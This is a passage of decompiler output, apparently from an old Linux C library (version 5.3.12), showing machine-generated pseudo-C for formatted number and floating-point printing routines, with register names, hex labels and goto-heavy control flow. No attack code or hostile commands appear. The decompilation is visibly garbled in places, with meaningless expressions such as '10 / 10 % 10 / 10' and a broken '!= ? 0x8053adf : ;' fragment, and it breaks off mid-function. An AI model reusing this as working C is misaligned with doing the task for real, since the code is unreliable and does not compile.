Vfffffbfc = ebp; do { Vfffffbfc = Vfffffbfc - 1; edx = 0; esi = eax; *Vfffffbfc = *(10 / 10 % 10 / 10 + "0123456789abcdefghijklmnopqrstuvwxyz"); eax = esi; } while(eax != 0); for(esi = Vfffffbfc; 1; edi = edi + 1) { esi = esi + 1; if(esi > & Vffffffff) { break; } edx = *esi & 255; if(*(A8 + 24) > *(A8 + 20)) { *( *(A8 + 20)) = dl; eax = dl & 255; *(A8 + 20) = *(A8 + 20) + 1; } else { eax = L08061910(A8, dl & 255); } if(eax == -1) { goto L08052c84; } } } if(*Ac != -1) { if(*(A8 + 24) <= *(A8 + 20)) { eax = L08061910(A8, 46); if(eax == -1) { goto L08052c84; } } else { eax = *(A8 + 20); *eax = 46; *(A8 + 20) = *(A8 + 20) + 1; } edi = edi + 1; eax = *Ac; Vfffffbfc = ebp; do { Vfffffbfc = Vfffffbfc - 1; edx = 0; esi = eax; *Vfffffbfc = *(10 / 10 % 10 / 10 + "0123456789abcdefghijklmnopqrstuvwxyz"); eax = esi; } while(eax != 0); for(esi = Vfffffbfc; 1; edi = edi + 1) { esi = esi + 1; if(esi > & Vffffffff) { break; } edx = *esi & 255; if(*(A8 + 24) > *(A8 + 20)) { *( *(A8 + 20)) = dl; eax = dl & 255; *(A8 + 20) = *(A8 + 20) + 1; } else { eax = L08061910(A8, dl & 255); } if(eax == -1) { goto L08052c84; } } } ecx = Ac; if(*(ecx + 8) != 0) { edx = *(ecx + 8) & 255; if(*(A8 + 24) <= *(A8 + 20)) { if(L08061910(A8, dl & 255) == -1) { goto L08052c84; } } else { *( *(A8 + 20)) = dl; *(A8 + 20) = *(A8 + 20) + 1; if((dl & 255) == -1) { L08052c84: eax = -1; goto L08052c8f; } } edi = edi + 1; } eax = edi; L08052c8f: esp = ebp + -1040; } /* Procedure: 0x08052C9C - 0x08052D90 * Argument size: 16 * Local size: 12 * Save regs size: 12 */ L08052C9C(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; esi = A8; edi = A10; if(*edi != 255) { Vfffffffc = *edi & 255; ebx = Ac - esi; esp = esp - (ebx + 3 & 252); Vfffffff8 = esp; L0805652C(Vfffffff8, esi + 1, ebx); edx = Vfffffff8; ecx = edx + ebx - 1; esi = Ac; if(ecx >= edx) { do { *esi = *ecx; ecx = ecx - 1; esi = esi - 1; if(!(Vfffffffc = Vfffffffc - 1)) { if(Vfffffff8 > ecx) { break; } *esi = A14; esi = esi - 1; Vfffffffc = *edi & 255; edi = edi + 1; if(*edi != 0) { if(*edi != 255) { continue; } else { goto L08052d24; } } edi = edi - 1; } } while(Vfffffff8 <= ecx); goto L08052d85; L08052d24: edx = Vfffffff8 - 1; eax = edx - ecx & 3; if(ecx > edx) { if(eax == 0) { goto L08052d58; } if(eax < 3) { if(eax < 2) { *esi = *ecx; ecx = ecx - 1; esi = esi - 1; } *esi = *ecx; ecx = ecx - 1; esi = esi - 1; } } *esi = *ecx; ecx = ecx - 1; esi = esi - 1; if(Vfffffff8 <= ecx) { L08052d58: do { *esi = *ecx; *(esi - 1) = *(ecx - 1); *(esi - 2) = *(ecx - 2); *(esi - 3) = *(ecx - 3); ecx = ecx + -4; esi = esi + -4; } while(Vfffffff8 <= ecx); } } } L08052d85: eax = esi; esp = ebp - 24; } /* Procedure: 0x08052D91 - 0x08052DE7 * Argument size: 8 * Local size: 0 * Save regs size: 8 */ L08052D91(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void esi; esi = *(A8 + 84); if(!(edx = *(A8 + 20) - *(A8 + 16))) { eax = *(esi + 80); eax = *( *(eax + 52))(esi, *(A8 + 16), edx); *(A8 + 20) = *(A8 + 20) - eax; } edx = *(A8 + 20); if(*(A8 + 24) > edx) { *edx = Ac; eax = *edx & 255; *(A8 + 20) = *(A8 + 20) + 1; } else { eax = L08061910(A8, Ac & 255); } } /* Procedure: 0x08052DE8 - 0x08052E7E * Argument size: 12 * Local size: 1112 * Save regs size: 12 */ L08052DE8(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void edi; /* unknown */ void Vfffffba8; /* unknown */ void Vfffffbb8; /* unknown */ void Vfffffbbc; /* unknown */ void Vfffffbc0; /* unknown */ void Vfffffbf8; /* unknown */ void Vfffffbfc; /* unknown */ void Vfffffc00; Vfffffbfc = A8; eax = & Vfffffc00; Vfffffbb8 = eax; Vfffffbbc = Vfffffbb8; Vfffffbc0 = ebp; Vfffffba8 = -72548348; Vfffffbf8 = 0x8067ef4; edi = L0804F888( & Vfffffba8, Ac, A10); ebx = Vfffffbbc - Vfffffbb8; if(ebx > 0) { eax = *(A8 + 80); if(*( *(eax + 52))(A8, Vfffffbb8, ebx) != ebx) { eax = -1; goto L08052e72; } } eax = edi; L08052e72: esp = ebp + -1124; } /* Procedure: 0x08052E7F - 0x08052E7F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08052E7F() { } /* Procedure: 0x08052E80 - 0x08052F30 * Argument size: 16 * Local size: 4 * Save regs size: 12 */ L08052E80(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void edi; /* unknown */ void Vfffffffc; ebx = A10; if(ebx == 0) { al = 0; edi = Ac; asm("cld"); ecx = -1; asm("repne scasb"); ebx = !ecx - 1; } else { if(ebx < 0) { edx = 1024; if(Ac + 1024 > Ac) { do { if(edx > 67108863) { break; } edx = edx + edx; if(edx <= 0) { break; } } while(edx + Ac > Ac); } ebx = edx; } } ecx = ebx + Ac; Vfffffffc = ecx; edi = A8; eax = L08061B6C(edi, Ac, Vfffffffc, 0); *(edi + 16) = Ac; *(edi + 12) = Ac; *(edi + 4) = Ac; if(A14 != 0) { *(edi + 20) = A14; *(edi + 24) = Vfffffffc; *(edi + 8) = A14; } else { edi = A8; *(edi + 20) = Ac; *(edi + 24) = Ac; *(edi + 8) = Ac + ebx; } ecx = A8; *(ecx + 84) = ebx; *(ecx + 88) = 0; esp = ebp - 16; } /* Procedure: 0x08052F31 - 0x08052F54 * Argument size: 8 * Local size: 4 * Save regs size: 4 */ L08052F31(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { *A8 = *A8 | 8; return(L08052E80(A8, Ac, A10, 0)); } /* Procedure: 0x08052F55 - 0x08053075 * Argument size: 8 * Local size: 12 * Save regs size: 12 */ L08052F55(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = 0; Vfffffff8 = *(A8 + 20) - *(A8 + 16); Vfffffff4 = *(A8 + 4) - *(A8 + 12); if(!( *A8 & 8)) { eax = 0; if(Vfffffffc == 0) { L08052f96: eax = -1; } } else { ecx = Vfffffff8; if(*(A8 + 84) < ecx) { *(A8 + 84) = ecx; } if(( *A8 & 3072) == 1024) { Vfffffff8 = Vfffffff4; *A8 = *A8 | 2048; Vfffffff4 = *(A8 + 84); } if(Vfffffff8 >= *(A8 + 32) - *(A8 + 28) + Vfffffffc) { if(*A8 & 1) { goto L08052f96; } edi = *(A8 + 32) - *(A8 + 28) + *(A8 + 32) - *(A8 + 28); esi = *( *(A8 + 88))(edi); if(esi == 0) { goto L08052f96; } edx = *(A8 + 28); L0805652C(esi, edx, *(A8 + 32) - edx); if(*(A8 + 28) != 0) { *( *(A8 + 92))( *(A8 + 28)); *(A8 + 28) = 0; } L08061B6C(A8, esi, edi + esi, 1); *(A8 + 16) = esi; *(A8 + 24) = *(A8 + 32); } *(A8 + 20) = Vfffffff8 + *(A8 + 28); *(A8 + 12) = *(A8 + 28); *(A8 + 4) = Vfffffff4 + *(A8 + 28); *(A8 + 8) = *(A8 + 28) + *(A8 + 84); if(Vfffffffc == 0) { eax = *(A8 + 20); *eax = Ac; *(A8 + 20) = *(A8 + 20) + 1; } eax = Ac; } esp = ebp - 24; } /* Procedure: 0x08053076 - 0x080530C9 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L08053076(A8) /* unknown */ void A8; { eax = *(A8 + 20) - *(A8 + 16); if(*(A8 + 84) < eax) { *(A8 + 84) = eax; } if(( *A8 & 3072) == 3072) { *A8 = *A8 & -2049; *(A8 + 20) = *(A8 + 24); } ecx = *(A8 + 12) + *(A8 + 84); *(A8 + 8) = ecx; if(*(A8 + 4) >= ecx) { return(-1); } eax = *( *(A8 + 4)) & 255; esp = ebp; } /* Procedure: 0x080530CA - 0x080530CB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080530CA() { } /* Procedure: 0x080530CC - 0x080530E3 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L080530CC(A8) /* unknown */ void A8; { eax = *(A8 + 20) - *(A8 + 16); if(*(A8 + 84) > eax) { eax = *(A8 + 84); } } /* Procedure: 0x080530E4 - 0x0805317E * Argument size: 16 * Local size: 0 * Save regs size: 12 */ L080530E4(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; ebx = Ac; edx = L080530CC(A8); eax = -1; if(!(cl & 1)) { if(A10 != 1) { if(A10 == 2) { ebx = ebx + edx; } } else { ebx = ebx + *(A8 + 4) - *(A8 + 12); } if(ebx < 0 || ebx > edx) { goto L08053160; } *(A8 + 4) = *(A8 + 12) + ebx; *(A8 + 8) = *(A8 + 12) + edx; eax = ebx; } if(!(A14 & 2)) { if(A10 != 1) { if(A10 == 2) { ebx = ebx + edx; } } else { ebx = ebx + *(A8 + 20) - *(A8 + 16); } if(ebx < 0 || ebx > edx) { L08053160: eax = -1; } else { *(A8 + 84) = edx; *(A8 + 20) = *(A8 + 16) + ebx; eax = ebx; } } } /* Procedure: 0x0805317F - 0x080531A6 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L0805317F(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { if(!( *A8 & 8) && Ac != -1) { return(-1); } return(L080623B8(A8, Ac)); } /* Procedure: 0x080531A7 - 0x080531D9 * Argument size: 0 * Local size: 4 * Save regs size: 4 */ L080531A7(A8) /* unknown */ void A8; { if(*(A8 + 28) != 0 && !( *A8 & 1)) { *( *(A8 + 92))( *(A8 + 28)); } *(A8 + 28) = 0; return(L08061FC0(A8)); } /* Procedure: 0x080531DA - 0x080531DB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080531DA() { } /* Procedure: 0x080531DC - 0x0805330E * Argument size: 0 * Local size: 4 * Save regs size: 8 */ L080531DC() { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vfffffffc; Vfffffffc = ecx; ebx = Vfffffffc; if(*(ebx - 16) != 0 && *(ebx - 20) == 102) { eax = *(ebx - 24); *(ebx - 24) = *(ebx - 24) - 1; if(eax > 0) { esi = 0; goto L080532fd; } } if(*(ebx - 28) == 0) { eax = *(ebx - 36); edx = *(ebx - 32); esi = *(edx + eax * 4 - 4); (save)10; (save)eax - 1; (save)edx; (save)edx; ecx = L08058DE0(); *(ebx - 40) = ecx; edx = *(ebx - 36); *( *(ebx - 32) + edx * 4 - 4) = ecx; } else { if(*(ebx - 28) > *(ebx - 36)) { esi = 0; goto L080532d8; L08053248: eax = edx + 1; } else { esi = L08058094( *(ebx - 48), *(ebx - 32), *(ebx - 36), *(ebx - 44), *(ebx - 28)); edx = *(ebx - 36) - *(ebx - 28); *( *(ebx - 48) + edx * 4) = esi; esi = *( *(ebx - 48)); ecx = *(ebx - 32); edx = *(ebx - 28); if(edx != 0) { eax = ~edx & 3; if(edx > 0) { if(eax == 0) { goto L080532a4; } if(eax < 3) { if(eax < 2) { goto L080532ab; L080532a4: edx = edx - 1; if(*(ecx + edx * 4) != 0) { goto L08053248; } L080532ab: edx = edx - 1; if(*(ecx + edx * 4) != 0) { goto L08053248; } } edx = edx - 1; if(*(ecx + edx * 4) != 0) { goto L08053248; } } } edx = edx - 1; if(*(ecx + edx * 4) != 0) { goto L08053248; } if(edx != 0) { goto L080532a4; } } eax = 0; } *(ebx - 36) = eax; if(eax == 0) { *(ebx - 36) = 1; } else { L080532d8: eax = *(ebx - 32); ecx = L08058DE0(eax, eax, *(ebx - 36), 10); *(ebx - 40) = ecx; if(ecx != 0) { edx = *(ebx - 36); *( *(ebx - 32) + edx * 4) = ecx; *(ebx - 36) = *(ebx - 36) + 1; } } } L080532fd: eax = esi + 48 & 255; esp = ebp - 12; } /* Procedure: 0x0805330F - 0x08054C27 * Argument size: 354 * Local size: 344 * Save regs size: 12 */ L0805330F(A8, Ac, A10, A166) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A166; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffea8; /* unknown */ void Vfffffeac; /* unknown */ void Vfffffeb0; /* unknown */ void Vffffff5c; /* unknown */ void Vffffff60; /* unknown */ void Vffffff64; /* unknown */ void Vffffff68; /* unknown */ void Vffffff6c; /* unknown */ void Vffffff70; /* unknown */ void Vffffff74; /* unknown */ void Vffffff78; /* unknown */ void Vffffff7c; /* unknown */ void Vffffff80; /* unknown */ void Vffffff84; /* unknown */ void Vffffff88; /* unknown */ void Vffffff8c; /* unknown */ void Vffffff90; /* unknown */ void Vffffff94; /* unknown */ void Vffffff98; /* unknown */ void Vffffff9c; /* unknown */ void Vffffffa0; /* unknown */ void Vffffffa4; /* unknown */ void Vffffffa8; /* unknown */ void Vffffffac; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffb8; /* unknown */ void Vffffffbc; /* unknown */ void Vffffffc4; /* unknown */ void Vffffffc8; /* unknown */ void Vffffffcc; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffd4; /* unknown */ void Vffffffd8; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffe0; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ebx = A10; Vffffffac = 0; Vfffffff0 = 0; Vffffffc4 = 0; Vffffffa4 = 0; Vffffff60 = *( *L08078890 + 12); edi = Vffffff60; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(L0805602C( & Vffffffcc, Vffffff60, !ecx - 1) <= 0) { Vffffffcc = *( *( *L08078890 + 12)) & 255; } if(*(Ac + 40) != 0) { edx = *( *L08078890 + 20); Vffffffb0 = edx; if(*edx != 0 && *edx != 255) { edx = *( *L08078890 + 16); al = 0; edi = edx; asm("cld"); ecx = -1; asm("repne scasb"); if(L0805602C( & Vffffffc8, edx, !ecx - 1) <= 0) { Vffffffc8 = *( *( *L08078890 + 16)) & 255; } if(Vffffffc8 != 0) { goto L080533ed; } } } Vffffffb0 = 0; L080533ed: if(*(Ac + 12) != 0) { eax = *ebx; edx = *eax; Vfffffff4 = edx; Vfffffff8 = *(eax + 4); Vfffffffc = *(eax + 8); if(L08057F0C(Vfffffff4, Vfffffff8, Vfffffffc) != 0) { goto L080534b5; } eax = L08057E98(Vfffffff4, Vfffffff8, Vfffffffc); if(eax != 0) { Vffffffac = 0x8067f88; (fsave)0; (fsave)tword [ebp-0xc]; asm("fcompp"); asm("fnstsw ax"); al = 0; goto L080534f0; } eax = L08058634( & Vffffffbc, 2, & Vffffffe8, & Vffffffc4, Vfffffff4, Vfffffff8, Vfffffffc); Vffffffdc = eax; Vffffffa8 = (Vffffffdc << 5) + -63; } else { eax = *ebx; edx = *eax; Vfffffff4 = edx; Vfffffff8 = *(eax + 4); if(L08057ED8(Vfffffff4, Vfffffff8) != 0) { L080534b5: Vffffffac = 0x8067f84; Vffffffc4 = 0; } else { eax = L08057E64(Vfffffff4, Vfffffff8); if(eax != 0) { Vffffffac = 0x8067f88; (fsave)0; asm("fcomp qword [ebp-0xc]"); asm("fnstsw ax"); al = 0; L080534f0: Vffffffc4 = eax & 255; } else { eax = L08057F88( & Vffffffbc, 2, & Vffffffe8, & Vffffffc4, Vfffffff4, Vfffffff8); Vffffffdc = eax; Vffffffa8 = (Vffffffdc << 5) + -52; } } } if(Vffffffac != 0) { eax = Ac; esi = *eax; if(*(eax + 4) > esi) { esi = *(eax + 4); } if(Vffffffc4 == 0) { edx = Ac; if(*(edx + 36) == 0 && *(edx + 28) == 0) { goto L08053553; } } esi = esi - 1; L08053553: esi = esi + -3; if(*(Ac + 32) == 0 && esi > 0) { ebx = L08062534(A8, 32, esi); if(ebx != esi) { goto L08054bd6; } Vffffffa4 = Vffffffa4 + esi; } if(Vffffffc4 != 0) { ecx = A8; if(*(ecx + 24) <= *(A8 + 20)) { (save)45; (save)ecx; L08053596: ebx = L08061910(); esp = esp + 8; if(ebx == -1) { goto L08054bd6; } goto L0805361b; } *( *(A8 + 20)) = 45; *(A8 + 20) = *(A8 + 20) + 1; goto L0805361b; } if(*(Ac + 36) != 0) { edx = A8; if(*(edx + 24) <= *(A8 + 20)) { (save)43; (save)edx; goto L08053596; } *( *(A8 + 20)) = 43; *(A8 + 20) = *(A8 + 20) + 1; goto L0805361b; } if(*(Ac + 28) != 0) { eax = A8; if(*(eax + 24) <= *(A8 + 20)) { (save)32; (save)eax; goto L08053596; } *( *(A8 + 20)) = 32; *(A8 + 20) = *(A8 + 20) + 1; L0805361b: Vffffffa4 = Vffffffa4 + 1; } ebx = 2; do { eax = Vffffffac; edi = *eax & 255; Vffffffac = eax + 1; ecx = A8; if(*(ecx + 24) > *(A8 + 20)) { ecx = edi; Vffffff60 = cl; *( *(A8 + 20)) = cl; *(A8 + 20) = *(A8 + 20) + 1; if((Vffffff60 & 255) == -1) { goto L08054bd6; } else { goto L08053686; } } edi = edi & 255; Vffffff64 = edi; if(L08061910(ecx, Vffffff64) == -1) { goto L08054bd6; } L08053686: Vffffffa4 = Vffffffa4 + 1; eax = ebx; ebx = ebx - 1; } while(eax != 0); if(*(Ac + 32) != 0 && esi > 0) { (save)esi; (save)32; (save)A8; if(L08062534() != esi) { goto L08054bd6; } Vffffffa4 = Vffffffa4 + esi; } } else { esi = Vffffffe8; if(esi < 0) { esi = ~esi; } ebx = esi; if(!(esi = esi + 31)) { ebx = esi + 31; } eax = (ebx >> 5) * 4 + 16; esp = esp - eax; Vffffffe0 = esp; esp = esp - eax; Vffffffd0 = esp; esp = esp - eax; Vffffffd4 = esp; Vffffffe4 = 0; if(Vffffffe8 > 2) { edi = 0; Vffffffa0 = 12; Vffffff9c = 0; Vffffff98 = "@(#) The Linux C library 5.3.12"; Vffffff60 = Vffffffa8 + Vffffffe8; if(!(Vffffff60 & 31)) { Vffffff5c = ecx; if(!(ecx = Vffffffdc - 1)) { ebx = ecx * 4; esi = !ecx & 3; if(Vffffff5c > -1) { if(esi == 0) { goto L08053800; } if(esi < 3) { if(esi < 2) { esi = Vffffff60; if(esi < 0) { esi = esi + 31; } esi = esi >> 5; Vffffff64 = esi; eax = ebx + Vffffff64 * 4 + Vffffffe0; *eax = *(ebp + Vffffff5c * 4 - 68); ebx = ebx + -4; Vffffff5c = Vffffff5c - 1; } if(!(esi = Vffffffa8 + Vffffffe8)) { esi = esi + 31; } esi = esi >> 5; Vffffff64 = esi; ecx = ebx + Vffffff64 * 4 + Vffffffe0; *ecx = *(ebp + Vffffff5c * 4 - 68); ebx = ebx + -4; Vffffff5c = Vffffff5c - 1; } } if(!(esi = Vffffffa8 + Vffffffe8)) { esi = esi + 31; } esi = esi >> 5; Vffffff64 = esi; edx = ebx + Vffffff64 * 4 + Vffffffe0; *edx = *(ebp + Vffffff5c * 4 - 68); ebx = ebx + -4; if(!(Vffffff5c = Vffffff5c - 1)) { L08053800: do { if(!(esi = Vffffffa8 + Vffffffe8)) { esi = esi + 31; } esi = esi >> 5; Vffffff64 = esi; eax = ebx + Vffffff64 * 4 + Vffffffe0; *eax = *(ebp + Vffffff5c * 4 - 68); Vffffff60 = ebx - 4; esi = Vffffff5c - 1; Vffffff64 = eax; if(!(eax = Vffffffa8 + Vffffffe8)) { Vffffff64 = eax + 31; } esi = *(ebp + esi * 4 - 68); Vfffffeb0 = esi; *(Vffffff60 + (Vffffff64 >> 5) * 4 + Vffffffe0) = Vfffffeb0; Vffffff60 = ebx - 8; esi = Vffffff5c + -2; Vffffff64 = edx; if(!(edx = Vffffffa8 + Vffffffe8)) { Vffffff64 = edx + 31; } esi = *(ebp + esi * 4 - 68); Vfffffeac = esi; *(Vffffff60 + (Vffffff64 >> 5) * 4 + Vffffffe0) = Vfffffeac; Vffffff60 = ebx - 12; esi = Vffffff5c + -3; Vffffff64 = ecx; if(!(ecx = Vffffffa8 + Vffffffe8)) { Vffffff64 = ecx + 31; } esi = *(ebp + esi * 4 - 68); Vfffffea8 = esi; *(Vffffff60 + (Vffffff64 >> 5) * 4 + Vffffffe0) = Vfffffea8; ebx = ebx + -16; } while(Vffffff5c = Vffffff5c + -4); } } if(!(ebx = Vffffffa8 + Vffffffe8)) { ebx = ebx + 31; } Vffffffdc = Vffffffdc + (ebx >> 5); } else { esi = ebx; if(!(ebx = Vffffffa8 + Vffffffe8)) { esi = ebx + 31; } (save)ebx - (esi & 224); (save)Vffffffdc; (save) & Vffffffbc; if(!(ebx = Vffffffa8 + Vffffffe8)) { ebx = ebx + 31; } (save)(ebx >> 5 << 2) + Vffffffe0; Vffffffd8 = L08058710(); if(!(ebx = Vffffffa8 + Vffffffe8)) { ebx = ebx + 31; } Vffffffdc = Vffffffdc + (ebx >> 5); esp = esp + 16; if(Vffffffd8 != 0) { ecx = Vffffffdc << 2; Vffffff5c = ecx; *(Vffffffe0 + Vffffff5c) = Vffffffd8; Vffffffdc = Vffffffdc + 1; } } Vffffff5c = 0; ebx = Vffffffe0; for(Vffffff60 = 0; 1; Vffffff5c = Vffffff5c + 1) { if(!(esi = Vffffffa8 + Vffffffe8)) { esi = esi + 31; } if(Vffffff5c >= esi >> 5) { break; } ecx = Vffffff60; *(ebx + ecx) = 0; Vffffff60 = ecx + 4; } esi = Vffffff98 + 4; do { esi = esi + -16; Vffffff98 = Vffffff98 + -16; if(Vffffffe8 >= edi + *(esi + 4) - 1) { if(Vffffffe4 != 0) { eax = L0805876C(Vffffffd0, Vffffffd4, Vffffffe4, *Vffffff98 + 8, *esi + -2); Vffffff5c = eax; Vffffffd8 = Vffffff5c; ebx = Vffffffe4 + *esi + -2; if(Vffffff5c == 0) { ebx = ebx - 1; } } else { ebx = *esi; L0805652C(Vffffffd0, *Vffffff98, ebx * 4); } if(Vffffffdc > ebx) { goto L08053a86; } != ? 0x8053adf : ; if(L08057F48(Vffffffe0, Vffffffd0, ebx) >= 0) { L08053a86: Vffffffe4 = ebx; ebx = ebx << 2; Vffffff64 = ebx; L0805652C(Vffffffd4, Vffffffd0, Vffffff64); edx = Vffffffe4 << 2; Vffffff64 = edx; edx = Vffffff64 + Vffffffd4 + -4; asm("bsr ecx,[edx]"); Vffffff60 = Vffffffe4 + -2 << 5; edi = (ecx ^ -32) + Vffffff60; Vffffff9c = Vffffff9c | 1 << Vffffffa0; } } Vffffffa0 = Vffffffa0 - 1; } while(Vffffff98 > 0x8068dac); edx = Vffffff9c; Vffffffe8 = edx; if(Vffffffe4 > 0) { edi = 0; esi = Vffffffd4; if(*esi == 0) { ebx = Vffffffe0; if(*ebx == 0) { edi = 1; if(*(esi + 4) == 0 && *(ebx + 4) == 0) { Vffffff5c = esi; esi = ebx; ebx = 4; do { ebx = ebx + 4; edi = edi + 1; if(*(Vffffff5c + ebx) != 0) { goto L08053b46; } } while(*(esi + ebx) == 0); } } } L08053b46: eax = Vffffffe4 << 2; Vffffff64 = eax; eax = Vffffff64 + Vffffffd4 + -4; asm("bsr edx,[eax]"); bl = edx ^ 31; if(ebx == 0) { if(edi > 0) { ecx = Vffffffe4 - edi; Vffffff64 = ecx; if(ebx < ecx) { eax = Vffffffd4; Vffffff5c = eax; edx = edi * 4; Vffffff60 = edx; ebx = 0; esi = ecx * 4; Vffffff64 = ecx; if(ecx = ecx & 3) { goto L08053c0a; } if(ecx > 1) { if(ecx > 2) { *eax = *(edx + Vffffffd4); Vffffff60 = Vffffff60 + 4; ebx = 4; } *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffd4); Vffffff60 = Vffffff60 + 4; ebx = ebx + 4; } *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffd4); Vffffff60 = Vffffff60 + 4; ebx = ebx + 4; if(ebx != esi) { L08053c0a: Vffffff5c = Vffffff5c + ebx; do { eax = Vffffff5c; *eax = *(Vffffff60 + Vffffffd4); *(eax + 4) = *(Vffffff60 + Vffffffd4 + 4); ecx = Vffffff5c; *(ecx + 8) = *(Vffffff60 + Vffffffd4 + 8); *(ecx + 12) = *(Vffffff60 + Vffffffd4 + 12); Vffffff60 = Vffffff60 + 16; Vffffff5c = ecx + 16; ebx = ebx + 16; } while(ebx != esi); } } Vffffffe4 = Vffffffe4 - edi; ecx = Vffffffdc - edi; Vffffff64 = ecx; if(ecx > 0) { eax = Vffffffe0; Vffffff5c = eax; edx = edi * 4; Vffffff60 = edx; ebx = 0; esi = ecx * 4; Vffffff64 = ecx; if(ecx = ecx & 3) { goto L08053d12; } if(ecx > 1) { if(ecx > 2) { *eax = *(edx + Vffffffe0); Vffffff60 = Vffffff60 + 4; ebx = 4; } *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffe0); Vffffff60 = Vffffff60 + 4; ebx = ebx + 4; } *(Vffffff5c + ebx) = *(Vffffff60 + Vffffffe0); Vffffff60 = Vffffff60 + 4; ebx = ebx + 4; if(ebx != esi) { L08053d12: Vffffff5c = Vffffff5c + ebx; do { eax = Vffffff5c; *eax = *(Vffffff60 + Vffffffe0); *(eax + 4) = *(Vffffff60 + Vffffffe0 + 4); ecx = Vffffff5c; *(ecx + 8) = *(Vffffff60 + Vffffffe0 + 8); *(ecx + 12) = *(Vffffff60 + Vffffffe0 + 12); Vffffff60 = Vffffff60 + 16; Vffffff5c = ecx + 16; ebx = ebx + 16; } while(ebx != esi); } } Vffffffdc = Vffffffdc - edi; } } else { esi = edi * 4; ecx = Vffffffd4; Vffffff5c = ecx; if(*(Vffffff5c + esi) != 0) { asm("bsf eax,[ecx+esi]"); Vffffff60 = eax; edx = Vffffffe0; Vffffff5c = edx; if(*(Vffffff5c + esi) != 0) { asm("bsf esi,[edx+esi]"); if(esi < eax) { Vffffff60 = esi; } } } else { ecx = edi * 4; eax = Vffffffe0; asm("bsf eax,[eax+ecx]"); Vffffff60 = eax; } if(edi == 0) { if(Vffffff60 >= 32 - ebx) { goto L08053e47; } eax = Vffffffd4; L08058710(); eax = Vffffffe0; ebx = L08058710(eax, eax, Vffffffdc, ebx, eax, eax, Vffffffe4, ebx); Vffffffd8 = ebx; if(ebx != 0) { edx = Vffffffdc << 2; Vffffff60 = edx; *(Vffffffe0 + Vffffff60) = ebx; Vffffffdc = Vffffffdc + 1; } } else { if(Vffffff60 >= 32 - ebx) { L08053e47: esi = 32 - ebx; (save)esi; (save)Vffffffe4 - edi; ebx = edi * 4; (save)ebx + Vffffffd4; (save)Vffffffd4; L08059FB0(); Vffffffe4 = Vffffffe4 - 1 - edi; (save)esi; (save)Vffffffdc - edi; (save)ebx + Vffffffe0; (save)Vffffffe0; L08059FB0(); esp = esp + 32; if(*((Vffffffdc - edi << 2) + Vffffffe0 - 4) != 0) { goto L08053efc; } ebx = Vffffffdc - 1; goto L08053eff; } esi = 32 - ebx; (save)esi; (save)Vffffffe4 + 1 - edi; ebx = edi * 4 + -4; (save)ebx + Vffffffd4; (save)Vffffffd4; L08059FB0(); Vffffffe4 = Vffffffe4 - edi; (save)esi; (save)Vffffffdc + 1 - edi; (save)ebx + Vffffffe0; (save)Vffffffe0; L08059FB0(); esp = esp + 32; ebx = Vffffffdc + 1 - edi; if(*(ebx * 4 + Vffffffe0 - 4) == 0) { L08053efc: ebx = Vffffffdc; L08053eff: ebx = ebx - edi; } Vffffffdc = ebx; } } } } else { if(Vffffffe8 < 0) { Vffffff94 = 0; Vffffff90 = 12; Vffffff8c = "@(#) The Linux C library 5.3.12"; L08058710(Vffffffe0, & Vffffffbc, Vffffffdc, Vffffffa8); Vffffffd8 = eax; Vffffff60 = Vffffffdc << 2; *(Vffffffe0 + Vffffff60) = Vffffffd8; Vffffffdc = Vffffffdc + 1; Vfffffff0 = 1; Vffffffe8 = ~Vffffffe8; Vffffff68 = " The Linux C library 5.3.12"; do { Vffffff68 = Vffffff68 + -16; Vffffff8c = Vffffff8c + -16; eax = Vffffff68; if(*(eax + 8) <= Vffffffe8) { ebx = *eax + -2; if(Vffffffdc >= ebx) { (save) *Vffffff68 + -2; (save) *Vffffff8c + 8; (save)Vffffffdc; (save)Vffffffe0; (save)Vffffffd0; } else { (save)Vffffffdc; (save)Vffffffe0; (save)ebx; (save) *Vffffff8c + 8; (save)Vffffffd0; } Vffffffd8 = L0805876C(); esp = esp + 20; ebx = Vffffffdc + *Vffffff68 + -2; if(Vffffffd8 == 0) { ebx = ebx - 1; } eax = ebx * 4 + Vffffffd0 + -4; asm("bsr eax,[eax]"); esi = eax ^ 31; edx = ebx - Vffffffdc << 5; eax = esi - 31; edi = edx - eax; if(edi == Vffffffe8 + 3) { if(esi > 28) { Vffffffb4 = -1610612736; Vffffffb8 = 0; eax = & Vffffffb4; L08058710(eax, eax, 2, 32 - esi); } else { 